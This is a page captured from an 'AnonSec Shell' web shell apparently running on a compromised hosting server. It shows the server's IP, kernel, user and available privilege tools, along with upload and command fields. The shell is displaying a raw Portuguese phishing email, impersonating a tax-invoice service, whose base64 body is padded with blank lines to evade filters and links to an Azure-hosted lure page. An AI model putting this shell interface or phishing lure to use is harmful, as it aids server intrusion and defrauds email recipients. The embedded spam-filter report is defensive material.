AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.252
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/././././mail/.spam/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/././././mail/.spam/new/1716160652.M326709P22713.dedi-4363141.lrsys.com.br,S=8183,W=8321
Return-Path: <jwjdk@fnzj17.brindesgoaisgo.com>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id GK0yEoyISma5WAAAIWsJAg
	(envelope-from <jwjdk@fnzj17.brindesgoaisgo.com>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Sun, 19 May 2024 20:17:32 -0300
Return-path: <jwjdk@fnzj17.brindesgoaisgo.com>
Envelope-to: marketing@lrsys.com.br
Delivery-date: Sun, 19 May 2024 20:17:32 -0300
Received: from fnzj17.brindesgoaisgo.com ([51.83.254.189]:59038)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.96.2)
	(envelope-from <jwjdk@fnzj17.brindesgoaisgo.com>)
	id 1s8pmS-0005tC-0b
	for marketing@lrsys.com.br;
	Sun, 19 May 2024 20:17:32 -0300
Received: from localhost (localhost [IPv6:::1])
	by fnzj17.brindesgoaisgo.com (Postfix) with UTF8SMTP id 9AE3120D14
	for <marketing@lrsys.com.br>; Sun, 19 May 2024 23:16:36 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 s=fnzj17; d=fnzj17.brindesgoaisgo.com; t=1716160596;
  h=from:subject:date:message-id:to:mime-version:content-type:
 accept-language:user-agent:x-mailer:x-sender:content-language:
 list-unsubscribe; bh=+7oRTuClwMG0fS2FMJMNxCdwa2H/woof0hTETG7uOp4=;
 b=JahWh6i4qNd0PqwVsR/30/RKh1SRScOtjcpFFpXTWltRJm0TNzohoMEEDYp3PV6hlszSri
 UcTYaQdsP9VIEOlY9ykbfYKM0FAxh2/jRXt2g+JKm6wVxd6lyjYzHgUUpMDUnOESRVk2mZ
 wgdR8+uBP06mUYegE/Ry/omLyaFPGLWmGnQC7G/atJeCS9mYlEJdOtRgyLLuESly4cnqWv
 twOw/FyufVuo1GHa5II1evnkhfTdHrwBBcOU1+eb3MZMKPFxzwUcEjZYakNnSAE8CP+m4Q
 FKukKsiwsovWjshLVAzMlyVWq4GN2ztKwxJSojaSqeJnyFRKYM6IOyIYbcsp1A==
X-Mailer: Roundcube Webmail/1.4.13
Accept-Language: pt-BR, en-US
Content-Language: pt-BR
Message-Id: <039244c31c0a1f0eaed2ca54fa291bd7@fnzj17.brindesgoaisgo.com>
Content-Type: multipart/alternative;
 boundary=bd5fe3d9aa0e86bfa1ec30f53f424bd5f6a85d59664300005428506738f0
MIME-Version: 1.0
To: <marketing@lrsys.com.br>
User-Agent: Roundcube Webmail/1.4.13
Date: Sun, 19 May 2024 23:16:36 +0000
From: "Finanet" <jwjdk@fnzj17.brindesgoaisgo.com>
List-Unsubscribe: 
 <https://fnzj17.brindesgoaisgo.com/?action=unsubscribe&u=marketing@lrsys.com.br>
X-Sender: jwjdk@fnzj17.brindesgoaisgo.com
X-Spam-Status: Yes, score=9.1
X-Spam-Score: 91
X-Spam-Bar: +++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  23tqqzfsoomysp42 Caro colaborador, A partir de 15º de junho,
    a emissão de notas deverá sofrer alguns ajustes. 
 Content analysis details:   (9.1 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: brindesgoaisgo.com]
  3.0 BAYES_95               BODY: Bayes spam probability is 95 to 99%
                             [score: 0.9801]
  0.0 HK_RANDOM_FROM         From username looks random
  0.0 HK_RANDOM_ENVFROM      Envelope sender username looks random
  4.5 URIBL_DBL_SPAM         Contains a spam URL listed in the Spamhaus DBL
                             blocklist
                             [URIs: brindesgoaisgo.com]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  0.1 URI_HEX                URI: URI hostname has long hexadecimal sequence
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.8 MPART_ALT_DIFF         BODY: HTML and text parts are different
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
  0.8 CPANEL_LOTS_OF_EMPTY_LINE RAW: Spam that has large block of
                             empty lines
  0.0 FROM_FMBLA_NEWDOM14    From domain was registered in last 7-14 days
X-Spam-Flag: YES
Subject:  ***SPAM***  =?UTF-8?B?QWp1c3RlcyBmaXNjYWlz?=

--bd5fe3d9aa0e86bfa1ec30f53f424bd5f6a85d59664300005428506738f0
Content-Transfer-Encoding: base64
Content-Type: text/html; charset=UTF-8

CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCjxodG1sPgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCjxoZWFkPgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCjx0aXRsZT4yM3RxcXpmc29vbXlzcDQyPC90aXRsZT4KCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCjxib2R5PgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKPHA+Q2FybyBjb2xhYm9yYWRvciw8L3A+CgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCjxwPkEgcGFydGlyIGRlIDE1wrogZGUganVuaG8sIGEgZW1pc3PDo28gZGUgbm90
YXMgZGV2ZXLDoSBzb2ZyZXIgYWxndW5zIGFqdXN0ZXMuPC9wPgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKPHA+U2VndWUgbGlz
dGEgZGUgdG9kYXMgYXMgbXVkYW7Dp2FzIHF1ZSBkZXZlbSBzZXIgb2JzZXJ2YWRhcyBwYXJhIGxh
bmNhbWVudG8uPC9wPgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCjxhIGhyZWY9Imh0
dHBzOi8vMTMwNTIwMjQuYmxvYi5jb3JlLndpbmRvd3MubmV0L3dlYi9pbmRleC5odG1sP2lkPTE2
NCI+QWp1c3Rlcy1mYmdoPC9hPgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKPHA+RmlzY2FsTkVU
PC9wPgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKPC9ib2R5PgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKPGJyPjxicj48YnI+PGJy
Pjxicj48YnI+PGJyPjxicj48YnI+PGZvbnQgY29sb3I9IiNFNkU2RTYiPm5fMWNiN2JmOTEtOTA1
Yi00YzFkLTllN2MtZTI2NzIyZWQ1NGZkPC9mb250PjwvaHRtbD4KCg==
--bd5fe3d9aa0e86bfa1ec30f53f424bd5f6a85d59664300005428506738f0
Content-Transfer-Encoding: base64
Content-Type: text/plain; charset=UTF-8

aHR0cHM6Ly8xMzA1MjAyNC5ibG9iLmNvcmUud2luZG93cy5uZXQvd2ViL2luZGV4Lmh0bWw/aWQ9
MTY0DQoNCg0KDQoNCg0KDQoNCg0K
--bd5fe3d9aa0e86bfa1ec30f53f424bd5f6a85d59664300005428506738f0--

Anon7 - 2022
AnonSec Team